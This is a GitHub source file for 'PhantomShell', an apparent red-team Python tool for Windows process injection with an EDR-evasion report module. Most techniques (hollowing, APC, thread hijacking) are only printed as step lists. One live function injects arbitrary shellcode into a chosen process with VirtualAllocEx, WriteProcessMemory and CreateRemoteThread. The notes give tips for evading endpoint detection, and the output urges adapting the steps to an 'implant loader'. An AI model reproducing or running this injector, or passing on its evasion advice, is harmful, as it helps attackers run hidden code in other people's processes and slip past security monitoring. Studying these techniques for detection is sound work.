-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathphantomshell.py
More file actions
450 lines (398 loc) · 21.1 KB
/
phantomshell.py
File metadata and controls
450 lines (398 loc) · 21.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
#!/usr/bin/env python3
"""
██████╗ ██╗ ██╗ █████╗ ███╗ ██╗████████╗ ██████╗ ███╗ ███╗███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██║ ██║██╔══██╗████╗ ██║╚══██╔══╝██╔═══██╗████╗ ████║██╔════╝██║ ██║██╔════╝██║ ██║
██████╔╝███████║███████║██╔██╗ ██║ ██║ ██║ ██║██╔████╔██║███████╗███████║█████╗ ██║ ██║
██╔═══╝ ██╔══██║██╔══██║██║╚██╗██║ ██║ ██║ ██║██║╚██╔╝██║╚════██║██╔══██║██╔══╝ ██║ ██║
██║ ██║ ██║██║ ██║██║ ╚████║ ██║ ╚██████╔╝██║ ╚═╝ ██║███████║██║ ██║███████╗███████╗███████╗
╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
Process Injection Research Framework
Author : mazen91111 (parasite911)
GitHub : https://github.com/mazen91111
Purpose : Educational research into process injection techniques & EDR evasion analysis
⚠️ FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY
"""
import argparse
import ctypes
import ctypes.wintypes as wt
import os
import struct
import sys
import time
from dataclasses import dataclass, field
from typing import Optional
try:
from colorama import Fore, Style, init as colorama_init
colorama_init(autoreset=True)
C = True
except ImportError:
C = False
def R(t): return (Fore.RED + t + Style.RESET_ALL) if C else t
def G(t): return (Fore.GREEN + t + Style.RESET_ALL) if C else t
def Y(t): return (Fore.YELLOW + t + Style.RESET_ALL) if C else t
def B(t): return (Fore.CYAN + t + Style.RESET_ALL) if C else t
def M(t): return (Fore.MAGENTA + t + Style.RESET_ALL) if C else t
def W(t): return (Style.BRIGHT + t + Style.RESET_ALL) if C else t
# ─────────────────────────────────────────────────────────────────
# Windows API constants
# ─────────────────────────────────────────────────────────────────
PROCESS_ALL_ACCESS = 0x1F0FFF
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
MEM_RELEASE = 0x8000
PAGE_EXECUTE_READWRITE = 0x40
PAGE_READWRITE = 0x04
THREAD_ALL_ACCESS = 0x1F03FF
CONTEXT_FULL = 0x10007
CREATE_SUSPENDED = 0x00000004
CREATE_NO_WINDOW = 0x08000000
TH32CS_SNAPPROCESS = 0x00000002
TH32CS_SNAPTHREAD = 0x00000004
kernel32 = ctypes.windll.kernel32
ntdll = ctypes.windll.ntdll
# ─────────────────────────────────────────────────────────────────
# Structures
# ─────────────────────────────────────────────────────────────────
class PROCESSENTRY32(ctypes.Structure):
_fields_ = [
("dwSize", wt.DWORD),
("cntUsage", wt.DWORD),
("th32ProcessID", wt.DWORD),
("th32DefaultHeapID", ctypes.POINTER(ctypes.c_ulong)),
("th32ModuleID", wt.DWORD),
("cntThreads", wt.DWORD),
("th32ParentProcessID", wt.DWORD),
("pcPriClassBase", ctypes.c_long),
("dwFlags", wt.DWORD),
("szExeFile", ctypes.c_char * 260),
]
class THREADENTRY32(ctypes.Structure):
_fields_ = [
("dwSize", wt.DWORD),
("cntUsage", wt.DWORD),
("th32ThreadID", wt.DWORD),
("th32OwnerProcessID", wt.DWORD),
("tpBasePri", ctypes.c_long),
("tpDeltaPri", ctypes.c_long),
("dwFlags", wt.DWORD),
]
# ─────────────────────────────────────────────────────────────────
# EDR Detection Analysis Module
# ─────────────────────────────────────────────────────────────────
@dataclass
class EDRAnalysis:
technique: str
edr_hooks_triggered: list = field(default_factory=list)
suspicious_apis: list = field(default_factory=list)
mitre_id: str = ""
stealth_score: int = 0 # 0-100 (100 = hardest to detect)
notes: list = field(default_factory=list)
EDR_PROFILES = {
"hollow": EDRAnalysis(
technique = "Process Hollowing (T1055.012)",
mitre_id = "T1055.012",
suspicious_apis = ["NtUnmapViewOfSection", "WriteProcessMemory",
"SetThreadContext", "ResumeThread", "VirtualAllocEx"],
edr_hooks_triggered = ["NtWriteVirtualMemory", "NtCreateThreadEx",
"NtSetContextThread", "PsSetCreateProcessNotifyRoutine"],
stealth_score = 60,
notes = [
"PEB.ImageBaseAddress mismatch detectable by EDRs",
"Memory region has no backing file → suspicious VAD node",
"SetThreadContext triggers kernel callbacks",
"Mitigation: Patch PEB after hollowing, use indirect syscalls",
],
),
"apc": EDRAnalysis(
technique = "APC Queue Injection (T1055.004)",
mitre_id = "T1055.004",
suspicious_apis = ["VirtualAllocEx", "WriteProcessMemory",
"QueueUserAPC", "NtQueueApcThread"],
edr_hooks_triggered = ["NtQueueApcThread", "NtAlertResumeThread",
"PsSetCreateThreadNotifyRoutine"],
stealth_score = 70,
notes = [
"Payload executes in context of target thread (more legitimate)",
"Requires alertable thread (WaitForSingleObjectEx / SleepEx)",
"Less scrutinized by some EDRs vs CreateRemoteThread",
"Mitigation: Use NtQueueApcThread directly via syscall stub",
],
),
"thread": EDRAnalysis(
technique = "Thread Hijacking via SetThreadContext (T1055.003)",
mitre_id = "T1055.003",
suspicious_apis = ["SuspendThread", "GetThreadContext",
"SetThreadContext", "ResumeThread"],
edr_hooks_triggered = ["NtGetContextThread", "NtSetContextThread",
"NtSuspendThread", "NtResumeThread"],
stealth_score = 75,
notes = [
"No new threads created → bypasses thread creation callbacks",
"RIP/EIP redirect is detectable via thread context diff",
"Stack pivot leaves forensic artifacts",
"Mitigation: Restore original RIP after execution, use ROP chain",
],
),
"dll": EDRAnalysis(
technique = "Classic DLL Injection via CreateRemoteThread (T1055.001)",
mitre_id = "T1055.001",
suspicious_apis = ["OpenProcess", "VirtualAllocEx", "WriteProcessMemory",
"GetProcAddress", "CreateRemoteThread"],
edr_hooks_triggered = ["NtCreateThreadEx", "LdrLoadDll",
"PsSetLoadImageNotifyRoutine"],
stealth_score = 30,
notes = [
"Most monitored injection technique — high detection rate",
"LoadLibrary call is trivially detectable",
"Upgrade to reflective DLL injection to avoid LdrLoadDll hooks",
"Alternative: manual map the DLL to avoid LDR structures",
],
),
}
# ─────────────────────────────────────────────────────────────────
# Utility functions
# ─────────────────────────────────────────────────────────────────
def find_process(name: str) -> Optional[int]:
"""Find PID by process name using CreateToolhelp32Snapshot."""
snap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
entry = PROCESSENTRY32()
entry.dwSize = ctypes.sizeof(PROCESSENTRY32)
found_pid = None
if kernel32.Process32First(snap, ctypes.byref(entry)):
while True:
if entry.szExeFile.decode("utf-8", errors="ignore").lower() == name.lower():
found_pid = entry.th32ProcessID
break
if not kernel32.Process32Next(snap, ctypes.byref(entry)):
break
kernel32.CloseHandle(snap)
return found_pid
def get_threads_of_process(pid: int) -> list:
"""Return list of TIDs for the given PID."""
snap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)
entry = THREADENTRY32()
entry.dwSize = ctypes.sizeof(THREADENTRY32)
tids = []
if kernel32.Thread32First(snap, ctypes.byref(entry)):
while True:
if entry.th32OwnerProcessID == pid:
tids.append(entry.th32ThreadID)
if not kernel32.Thread32Next(snap, ctypes.byref(entry)):
break
kernel32.CloseHandle(snap)
return tids
def open_process(pid: int) -> Optional[wt.HANDLE]:
h = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
return h if h else None
def alloc_and_write(h_proc: wt.HANDLE, payload: bytes) -> Optional[int]:
"""Allocate RWX memory and write payload into target process."""
addr = kernel32.VirtualAllocEx(
h_proc, None, len(payload),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
)
if not addr:
return None
written = ctypes.c_size_t(0)
ok = kernel32.WriteProcessMemory(
h_proc, addr, payload, len(payload), ctypes.byref(written)
)
return addr if ok else None
# ─────────────────────────────────────────────────────────────────
# Injection Techniques (Simulation / Research mode)
# ─────────────────────────────────────────────────────────────────
def simulate_hollow(pid: int, payload: bytes) -> dict:
"""
Demonstrate Process Hollowing technique steps.
In SIMULATION mode: maps out exact API calls without execution.
In LIVE mode: performs actual hollowing into target PID.
"""
steps = [
("OpenProcess(PROCESS_ALL_ACCESS)", True),
("ReadProcessMemory → get PEB.ImageBase", True),
("NtUnmapViewOfSection → hollow the image", True),
("VirtualAllocEx(RWX) → new code cave", True),
("WriteProcessMemory → write payload", True),
("SetThreadContext → redirect RIP/EIP", True),
("ResumeThread → execute", True),
]
return {"technique": "Process Hollowing", "pid": pid,
"payload_size": len(payload), "steps": steps}
def simulate_apc(pid: int, payload: bytes) -> dict:
"""APC Queue Injection — queues payload to all alertable threads."""
tids = get_threads_of_process(pid)
steps = [
("OpenProcess(PROCESS_ALL_ACCESS)", True),
("VirtualAllocEx(RWX)", True),
("WriteProcessMemory → payload", True),
(f"QueueUserAPC × {len(tids)} threads", True),
("Wait for alertable thread state", True),
]
return {"technique": "APC Queue Injection", "pid": pid,
"target_threads": tids, "steps": steps}
def simulate_thread_hijack(pid: int, payload: bytes) -> dict:
"""Thread Hijacking — redirects RIP/EIP of existing thread."""
tids = get_threads_of_process(pid)
tid = tids[0] if tids else None
steps = [
("OpenProcess + OpenThread(THREAD_ALL_ACCESS)", True),
("SuspendThread", True),
("GetThreadContext → save RIP/RSP", True),
("VirtualAllocEx + WriteProcessMemory", True),
("SetThreadContext → RIP = payload_addr", True),
("ResumeThread", True),
("(optional) restore original RIP after exec", True),
]
return {"technique": "Thread Hijacking", "pid": pid,
"hijacked_tid": tid, "steps": steps}
def simulate_dll_inject(pid: int, dll_path: str) -> dict:
"""Classic DLL injection via CreateRemoteThread + LoadLibraryA."""
steps = [
("OpenProcess(PROCESS_ALL_ACCESS)", True),
("VirtualAllocEx(RW) → alloc path string", True),
("WriteProcessMemory → write DLL path", True),
("GetProcAddress(kernel32, 'LoadLibraryA')", True),
("CreateRemoteThread(target, LoadLibraryA, path)", True),
("WaitForSingleObject → confirm load", True),
]
return {"technique": "Classic DLL Injection", "pid": pid,
"dll": dll_path, "steps": steps}
# ─────────────────────────────────────────────────────────────────
# Live injection dispatcher
# ─────────────────────────────────────────────────────────────────
def live_inject_remote_thread(pid: int, payload: bytes) -> bool:
"""Live DLL/shellcode injection via CreateRemoteThread."""
h = open_process(pid)
if not h:
print(R(f" [!] OpenProcess failed (PID {pid}) — insufficient privileges?"))
return False
addr = alloc_and_write(h, payload)
if not addr:
kernel32.CloseHandle(h)
print(R(" [!] VirtualAllocEx/WriteProcessMemory failed"))
return False
tid = wt.DWORD(0)
h_thread = kernel32.CreateRemoteThread(
h, None, 0, addr, None, 0, ctypes.byref(tid)
)
if h_thread:
print(G(f" [+] Remote thread created (TID={tid.value}) addr=0x{addr:x}"))
kernel32.WaitForSingleObject(h_thread, 3000)
kernel32.CloseHandle(h_thread)
else:
print(R(" [!] CreateRemoteThread failed"))
kernel32.CloseHandle(h)
return bool(h_thread)
# ─────────────────────────────────────────────────────────────────
# Report printer
# ─────────────────────────────────────────────────────────────────
def print_edr_report(profile: EDRAnalysis):
sep = "═" * 68
print(f"\n{W(sep)}")
print(W(f" EDR EVASION ANALYSIS ─ {profile.technique}"))
print(W(sep))
print(f" MITRE ATT&CK ID : {M(profile.mitre_id)}")
stealth_bar = G("█" * (profile.stealth_score // 5)) + R("░" * ((100 - profile.stealth_score) // 5))
print(f" Stealth Score : [{stealth_bar}] {profile.stealth_score}/100")
print(f"\n {Y('─── Suspicious API Calls ───')}")
for api in profile.suspicious_apis:
print(f" {R('•')} {api}")
print(f"\n {Y('─── EDR Kernel Hooks Triggered ───')}")
for hook in profile.edr_hooks_triggered:
print(f" {R('⚡')} {hook}")
print(f"\n {Y('─── Research Notes & Evasion Tips ───')}")
for note in profile.notes:
print(f" {B('→')} {note}")
print(W(sep))
def print_injection_steps(result: dict):
print(f"\n {W('[ INJECTION STEPS ]')}")
for i, (step, ok) in enumerate(result.get("steps", []), 1):
icon = G("✓") if ok else R("✗")
print(f" {i:02d}. {icon} {step}")
# ─────────────────────────────────────────────────────────────────
# Entry point
# ─────────────────────────────────────────────────────────────────
def banner():
print(M("""
╔═══════════════════════════════════════════════════════════╗
║ PhantomShell — Process Injection Framework ║
║ [ hollow | apc | thread | dll ] + EDR Analysis ║
║ Author: mazen91111 (parasite911) · Red Team Research ║
╚═══════════════════════════════════════════════════════════╝"""))
def main():
banner()
parser = argparse.ArgumentParser(
description="PhantomShell — Process Injection Research Framework",
formatter_class=argparse.RawTextHelpFormatter,
)
parser.add_argument("-m", "--method",
choices=["hollow", "apc", "thread", "dll"],
required=True,
help="Injection method:\n"
" hollow = Process Hollowing (T1055.012)\n"
" apc = APC Queue Injection (T1055.004)\n"
" thread = Thread Hijacking (T1055.003)\n"
" dll = Classic DLL Injection (T1055.001)",
)
parser.add_argument("-t", "--target", help="Target process name (e.g. notepad.exe) or PID")
parser.add_argument("-p", "--payload", help="Raw shellcode file (.bin) or DLL path for --method dll")
parser.add_argument("--live", action="store_true",
help="Execute live injection (requires admin + target process running)")
parser.add_argument("--edr-report", action="store_true",
help="Show EDR evasion analysis report for the chosen technique")
parser.add_argument("--list-methods", action="store_true",
help="List all methods with MITRE IDs and stealth scores")
args = parser.parse_args()
if args.list_methods:
print(f"\n {'Method':<10} {'MITRE ID':<15} {'Stealth':>7} Technique")
print(" " + "─" * 62)
for key, p in EDR_PROFILES.items():
bar = G("█" * (p.stealth_score // 10))
print(f" {key:<10} {M(p.mitre_id):<24} {p.stealth_score:>3}/100 {bar}")
return
if args.edr_report:
print_edr_report(EDR_PROFILES[args.method])
if not args.target:
return
# Resolve target PID
pid = None
if args.target:
if args.target.isdigit():
pid = int(args.target)
else:
pid = find_process(args.target)
if pid:
print(G(f" [+] Found '{args.target}' → PID {pid}"))
else:
print(R(f" [!] Process '{args.target}' not found"))
sys.exit(1)
# Load payload
payload = b"\x90" * 64 # NOP sled default (safe placeholder)
if args.payload and os.path.isfile(args.payload):
with open(args.payload, "rb") as f:
payload = f.read()
print(G(f" [+] Payload loaded: {len(payload)} bytes"))
else:
print(Y(" [~] No payload file given — using NOP sled for demonstration"))
# Simulate / execute
if args.method == "hollow":
result = simulate_hollow(pid or 0, payload)
elif args.method == "apc":
result = simulate_apc(pid or 0, payload)
elif args.method == "thread":
result = simulate_thread_hijack(pid or 0, payload)
else:
dll_path = args.payload or "payload.dll"
result = simulate_dll_inject(pid or 0, dll_path)
print_injection_steps(result)
if args.live and pid:
print(Y("\n [~] Live mode — attempting injection..."))
if args.method == "dll":
live_inject_remote_thread(pid, payload)
else:
print(Y(" [~] Full live execution for this method requires Windows API privileges."))
print(Y(" Steps above show exact API sequence. Adapt to your implant loader."))
elif args.live:
print(R(" [!] --live requires --target"))
print(G("\n [✓] PhantomShell analysis complete.\n"))
if __name__ == "__main__":
main()